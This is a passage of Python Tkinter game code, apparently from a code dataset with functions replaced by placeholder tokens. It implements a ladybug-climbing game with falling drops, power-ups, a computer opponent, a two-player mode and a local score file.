data.editorDrops.append(Coconuts(xPosition, 0))\n\n\ndef difficultyRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawDifficulties(canvas, data)\n drawHome(canvas, data)\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\ndef hitAI2(data, distance):\n for coconut in data.coconutsAI2:\n if (coconut.y >= data.player2Y - data.r and coconut.y <= data.\n player2Y + data.r):\n if (coconut.x >= data.player2X - data.r and coconut.x <= data.\n player2X + data.r):\n data.player2Y += 50\n data.coconutsAI2.remove(coconut)\n\n\ndef coconutShotAI(data):\n if data.winner == None:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 40 and abs(xPosition1 - 360) > 40:\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 8 == 0:\n xPosition2 = random.randint(0, 80)\n xPosition3 = random.randint(364, 385)\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(xPosition2, 0))\n data.coconutsAI1.append(Coconuts(xPosition3, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(xPosition2 + 410, 0))\n data.coconutsAI2.append(Coconuts(xPosition3 + 410, 0))\n addExtraCoconut(data)\n addPowerUpsAI(data)\n\n\ndef addExtraCoconut(data):\n if data.time % 18 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(755, 0))\n if data.time % 37 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(140, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(344, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(755, 0))\n\n\ndef addPowerUpsAI(data):\n if data.time % 33 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(140, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(344, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(755, 0))\n if data.time % 66 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.scaryBug.append(ScaryBug(140, 750))\n data.scaryBug.append(ScaryBug(550, 750))\n elif side == 'r':\n data.scaryBug.append(ScaryBug(344, 750))\n data.scaryBug.append(ScaryBug(750, 750))\n\n\ndef AIKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.winner == None:\n if event.keysym == 'Left' and data.onLeft1 == False:\n data.onLeft1 = True\n data.player2X = 550\n elif event.keysym == 'Right' and data.onLeft1 == True:\n data.onLeft1 = False\n data.player2X = 750\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\ndef AITimerFired(data):\n if data.winner == None:\n if data.Invincible1 == False:\n hitAI1(data, 31)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 31)\n for coconut in data.coconutsAI1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n for coconut in data.coconutsAI2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.Invincible1 == False:\n hitAI1(data, 13)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 13)\n data.player1Y -= data.speedAI\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n coconutShotAI(data)\n data.player2Y -= data.speedAI\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n coconutShotAI(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n powerUpAITimerFired(data)\n\n\ndef powerUpAITimerFired(data):\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef AIRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconutsAI1:\n coconut.draw(canvas)\n for coconut in data.coconutsAI2:\n coconut.draw(canvas)\n canvas.create_text(50, 40, text='Computer', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 1', font='Arial 15 bold', fill\n ='yellow')\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n AIWinner(canvas, data)\n drawHome(canvas, data)\n\n\ndef AIWinner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='The Computer Won :(',\n font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! You Won!', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef scoreboardKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef scoreboardMousePressed(event, data):\n checkHome(event, data)\n\n\ndef scoreboardTimerFired(data):\n difficultyTimerFired(data)\n\n\ndef scoreboardRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.tbgY, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.txtTScore, text='Top Scores!',\n font='Arial 30 bold', fill='yellow')\n canvas.create_text(data.width / 2, data.S_P, text='Score_Player', font=\n 'Arial 20 bold', fill='yellow')\n drawHome(canvas, data)\n data.savedScores\n data.savedScores = readFile('score.txt')\n score = data.savedScores.splitlines()\n scores = []\n for line in score:\n scores.append(line.split(','))\n scores = sorted(scores, key=lambda x: int(x[0]))\n top5 = scores[-data.numScores:]\n top5.reverse()\n for i in range(len(top5)):\n canvas.create_text(data.width / 2, data.scoreShift + i * 50, text=\n top5[i], font='Arial 18 bold', fill='yellow')\n\n\ndef helpKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\ndef run(width=15000, height=25000):\n\n def redrawAllWrapper(canvas, data):\n canvas.delete(ALL)\n redrawAll(canvas, data)\n canvas.update()\n\n def mousePressedWrapper(event, canvas, data):\n mousePressed(event, data)\n redrawAllWrapper(canvas, data)\n\n def keyPressedWrapper(event, canvas, data):\n keyPressed(event, data)\n redrawAllWrapper(canvas, data)\n\n def timerFiredWrapper(canvas, data):\n timerFired(data)\n redrawAllWrapper(canvas, data)\n canvas.after(data.timerDelay, timerFiredWrapper, canvas, data)\n\n\n class Struct(object):\n pass\n data = Struct()\n data.width = width\n data.height = height\n data.timerDelay = 100\n root = Tk()\n init(data)\n canvas = Canvas(root, width=data.width, height=data.height)\n canvas.pack()\n root.bind('<Button-1>', lambda event: mousePressedWrapper(event, canvas,\n data))\n root.bind('<Key>', lambda event: keyPressedWrapper(event, canvas, data))\n timerFiredWrapper(canvas, data)\n root.mainloop()\n print('bye!')\n\n\n<code token>\n", "<import token>\n\n\ndef init(data):\n data.score = 0\n data.mode = 'splashScreen'\n data.timerDelay = 100\n data.height = 800\n data.width = 800\n data.speed = 10\n data.speedAI = 12\n data.speedAI2 = 12\n data.switchOnProgress = False\n data.r = 25\n data.cx = 280\n data.cy = 750\n data.onLeft1, data.onLeft2 = True, True\n data.win = False\n data.coconuts = []\n data.powerUps = []\n data.coconuts1 = []\n data.coconuts2 = []\n data.coconutsAI1 = []\n data.coconutsAI2 = []\n data.invincible = []\n data.pauseDrops = False\n data.pause1Drop = False\n data.pause2Drop = False\n init1(data)\n\n\ndef init1(data):\n data.beInvincible = False\n data.Invincible1 = False\n data.Invincible2 = False\n data.scaryBug = []\n data.time = 0\n data.coconutFall = False\n data.sides = ['r', 'l']\n data.level = 1\n data.splashScreenTime = 0\n data.splashScreenDrops = []\n data.background = PhotoImage(file='tree.gif')\n data.deadScreen = PhotoImage(file='deadBug.gif')\n data.ladyBug = PhotoImage(file='lady.gif')\n data.winScreen = PhotoImage(file='treeTop1.gif')\n data.winBug = PhotoImage(file='littleBug.gif')\n data.halfBackground = PhotoImage(file='halfTree.gif')\n data.umbrella = PhotoImage(file='umbrella2.gif')\n data.spider = PhotoImage(file='spider.gif')\n data.hourGlass = PhotoImage(file='hourGlass.gif')\n data.splashScreen = PhotoImage(file='splash.gif')\n init2(data)\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\ndef init3(data):\n data.yes = data.notClick\n data.no = data.notClick\n data.enter = data.notClick\n data.levelEditorLives = 2\n data.rSpeed = None\n data.start = None\n data.start1 = None\n data.start2 = None\n data.difficulty = None\n data.mode1 = data.notClick\n data.mode2 = data.notClick\n data.mode3 = data.notClick\n data.mode4 = data.notClick\n data.mode5 = data.notClick\n data.mode6 = data.notClick\n data.home = PhotoImage(file='home.gif')\n data.helpScreen = PhotoImage(file='help1.gif')\n data.title = PhotoImage(file='title.gif')\n data.scoreList = []\n data.spotList = [270, 364, 458, 552, 646, 740]\n data.savedScores = readFile('score.txt')\n if data.mode == 'levelCreated':\n setEverything(data)\n initsplashScreenNumbers(data)\n\n\ndef initsplashScreenNumbers(data):\n data.splashButtonY = 425\n data.p1ButtonX = 225\n data.p2ButtonX = 290\n data.edButton = 355\n data.diffButton = 425\n data.helpButton = 490\n data.sboardButton = 555\n data.hitPenalty = 75\n data.splashText = data.height / 2 - 20\n data.lives = 2\n data.levelMax = 8\n data.lane = 94\n data.Player1Min = 270\n data.Player1Max = 740\n data.homeX = 50\n data.homeY = 650\n initScoreBoardHelp(data)\n init1Player(data)\n\n\n<function token>\n\n\ndef init1Player(data):\n data.buffer = 40\n\n\ndef initAI(data):\n data.AITY = 225\n data.easyX = 200\n data.easyY = 300\n data.medX = 400\n data.hardX = 600\n data.enterY = 450\n data.difS = 4\n data.difM = 6\n data.difH = 8\n data.last = 500\n data.enterX = 575\n data.PUT = 450\n data.RST = 350\n data.YST = 250\n\n\ndef mousePressed(event, data):\n if data.mode == 'splashScreen':\n splashScreenMousePressed(event, data)\n elif data.mode == '1Player':\n playerMousePressed(event, data)\n elif data.mode == '2Player':\n twoPlayerMousePressed(event, data)\n elif data.mode == 'editor':\n editorMousePressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedMousePressed(event, data)\n elif data.mode == 'AI':\n AIMousePressed(event, data)\n elif data.mode == 'difficulty':\n difficultyMousePressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardMousePressed(event, data)\n elif data.mode == 'help':\n helpMousePressed(event, data)\n\n\ndef keyPressed(event, data):\n if data.mode == 'splashScreen':\n splashKeyPressed(event, data)\n elif data.mode == '1Player':\n playerKeyPressed(event, data)\n elif data.mode == '2Player':\n twoPlayerKeyPressed(event, data)\n elif data.mode == 'editor':\n editorKeyPressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedKeyPressed(event, data)\n elif data.mode == 'AI':\n AIKeyPressed(event, data)\n elif data.mode == 'difficulty':\n difficultyKeyPressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardKeyPressed(event, data)\n elif data.mode == 'help':\n helpKeyPressed(event, data)\n\n\ndef timerFired(data):\n if data.mode == 'splashScreen':\n splashScreenTimerFired(data)\n elif data.mode == '1Player':\n playerTimerFired(data)\n elif data.mode == '2Player':\n twoPlayerTimerFired(data)\n elif data.mode == 'editor':\n editorTimerFired(data)\n elif data.mode == 'levelCreated':\n levelCreatedTimerFired(data)\n elif data.mode == 'AI':\n AITimerFired(data)\n elif data.mode == 'difficulty':\n difficultyTimerFired(data)\n elif data.mode == 'scoreboard':\n scoreboardTimerFired(data)\n elif data.mode == 'help':\n helpTimerFired(data)\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\ndef splashScreenTimerFired(data):\n data.splashScreenTime += 1\n if data.splashScreenTime % 2 == 1:\n rainDropSplash(data)\n for drop in data.splashScreenDrops:\n drop.onTimerFired(data)\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\ndef rainDropSplash(data):\n xPosition = random.randint(0, 800)\n data.splashScreenDrops.append(Coconuts(xPosition, 0))\n\n\n<function token>\n\n\ndef writeFile(path, contents):\n with open(path, 'wt') as f:\n f.write(contents)\n\n\ndef readFile(path):\n with open(path, 'rt') as f:\n return f.read()\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n\n\ndef hit2Player(data):\n if data.mode == '2Player':\n if data.Invincible1 == False:\n for coconut in data.coconuts1:\n if (coconut.y >= data.player1Y - data.r and coconut.y <= \n data.player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <=\n data.player1X + data.r):\n data.player1Y += data.hitPenalty\n data.coconuts1.remove(coconut)\n if data.Invincible2 == False:\n for coconut in data.coconuts2:\n if (coconut.y >= data.player2Y - data.r and coconut.y <= \n data.player2Y + data.r):\n if (coconut.x >= data.player2X - data.r and coconut.x <=\n data.player2X + data.r):\n data.player2Y += data.hitPenalty\n data.coconuts2.remove(coconut)\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\ndef hitPause(data):\n for powerUp in data.powerUps:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.pauseDrops = True\n data.start = data.cy\n data.powerUps.remove(powerUp)\n elif data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.pause1Drop = True\n data.start1 = data.player1Y\n data.powerUps.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.pause2Drop = True\n data.start2 = data.player2Y\n data.powerUps.remove(powerUp)\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\ndef hitScaryBug(data):\n for bug in data.scaryBug:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if (bug.y >= data.cy - 1.5 * data.r and bug.y <= data.cy + 1.5 *\n data.r):\n if (bug.x >= data.cx - 1.5 * data.r and bug.x <= data.cx + \n 1.5 * data.r):\n data.hit = True\n data.lives = 0\n data.levelEditorLives = 0\n if data.mode == '2Player' or data.mode == 'AI':\n if (bug.y >= data.player1Y - data.r and bug.y <= data.player1Y +\n data.r):\n if (bug.x >= data.player1X - data.r and bug.x <= data.\n player1X + data.r):\n data.winner = 'player2'\n if (bug.y >= data.player2Y - data.r and bug.y <= data.player2Y +\n data.r):\n if (bug.x >= data.player2X - data.r and bug.x <= data.\n player2X + data.r):\n data.winner = 'player1'\n\n\ndef drawPowerups(canvas, data):\n for bug in data.scaryBug:\n bug.draw(canvas, data)\n for powerUp in data.powerUps:\n powerUp.draw(canvas, data)\n for powerUp in data.invincible:\n powerUp.draw(canvas, data)\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\ndef checkHome(event, data):\n if data.homeY - data.r <= event.y <= data.homeY + data.r:\n if data.homeX - data.r <= event.x <= data.homeX + data.r:\n init(data)\n\n\ndef coconutShot(data):\n if data.level > 0 and data.pauseDrops == False:\n if data.time % int(data.levelMax / data.level\n ) == 0 or data.time % 6 == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(data.Player1Max + data.buffer, data\n .width + data.buffer)\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n xPosition4 = random.randint(data.Player1Min - data.buffer, data\n .Player1Max + data.buffer)\n data.coconuts.append(Coconuts(xPosition4, 0))\n if data.time % 5 == 0:\n xPosition3 = random.randint(0, data.Player1Min - data.buffer)\n data.coconuts.append(Coconuts(xPosition3, 0))\n if data.time % int(24 / data.level) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(data.Player1Min, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(data.Player1Max, 0))\n powerUpCoconutShot(data)\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef playerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef playerTimerFired(data):\n if data.hit == False and data.level < data.levelMax:\n data.cy -= data.speed\n if data.time % 5 == 0:\n data.score += data.level\n if data.cy < 15:\n data.level += 1\n data.cy = data.Player1Max + 10\n data.speed += 2\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n coconutShot(data)\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\ndef madeIt(canvas, data):\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 70, text='You Made it!', font=\n 'Arial 23 bold', fill='yellow')\n canvas.create_text(data.width / 2, 100, text='Score: %d' % data.score,\n font='Arial 15 bold', fill='yellow')\n canvas.create_text(data.width / 2, 375, text=\n 'Congrats! Enter your Name!', font='Arial 15 bold', fill='yellow')\n canvas.create_rectangle(data.width / 2 - 50, 400, data.width / 2 + 50, \n 450, fill='white')\n canvas.create_text(data.width / 2, 425, text=data.name)\n\n\ndef drop2Player(data):\n if data.winner == None and data.pauseDrops == False:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 25 and abs(xPosition1 - 360) > 25:\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 12 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(755, 0))\n powerupDrop2Player(data)\n\n\ndef powerupDrop2Player(data):\n if data.time % 45 == 0 and data.time % 90 != 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(140, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(344, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(755, 0))\n if data.time % 60 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(140, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(344, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(755, 0))\n if data.time % 90 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.scaryBug.append(ScaryBug(140, 750))\n data.scaryBug.append(ScaryBug(540, 750))\n elif side == 'r':\n data.scaryBug.append(ScaryBug(344, 750))\n data.scaryBug.append(ScaryBug(755, 750))\n\n\ndef twoPlayerKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.winner == None:\n if event.keysym == 'a' and data.onLeft1 == False:\n data.onLeft1 = True\n data.player1X = 150\n if event.keysym == 'd' and data.onLeft1 == True:\n data.onLeft1 = False\n data.player1X = 330\n if event.keysym == 'Left' and data.onLeft2 == False:\n data.onLeft2 = True\n data.player2X = 550\n if event.keysym == 'Right' and data.onLeft2 == True:\n data.onLeft2 = False\n data.player2X = 750\n\n\ndef twoPlayerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef twoPlayerTimerFired(data):\n if data.winner == None:\n data.player1Y -= data.speed\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n drop2Player(data)\n data.player2Y -= data.speed\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n drop2Player(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n powerupTimerFired(data)\n\n\ndef powerupTimerFired(data):\n for coconut in data.coconuts1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n hit2Player(data)\n for coconut in data.coconuts2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef twoPlayerRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, 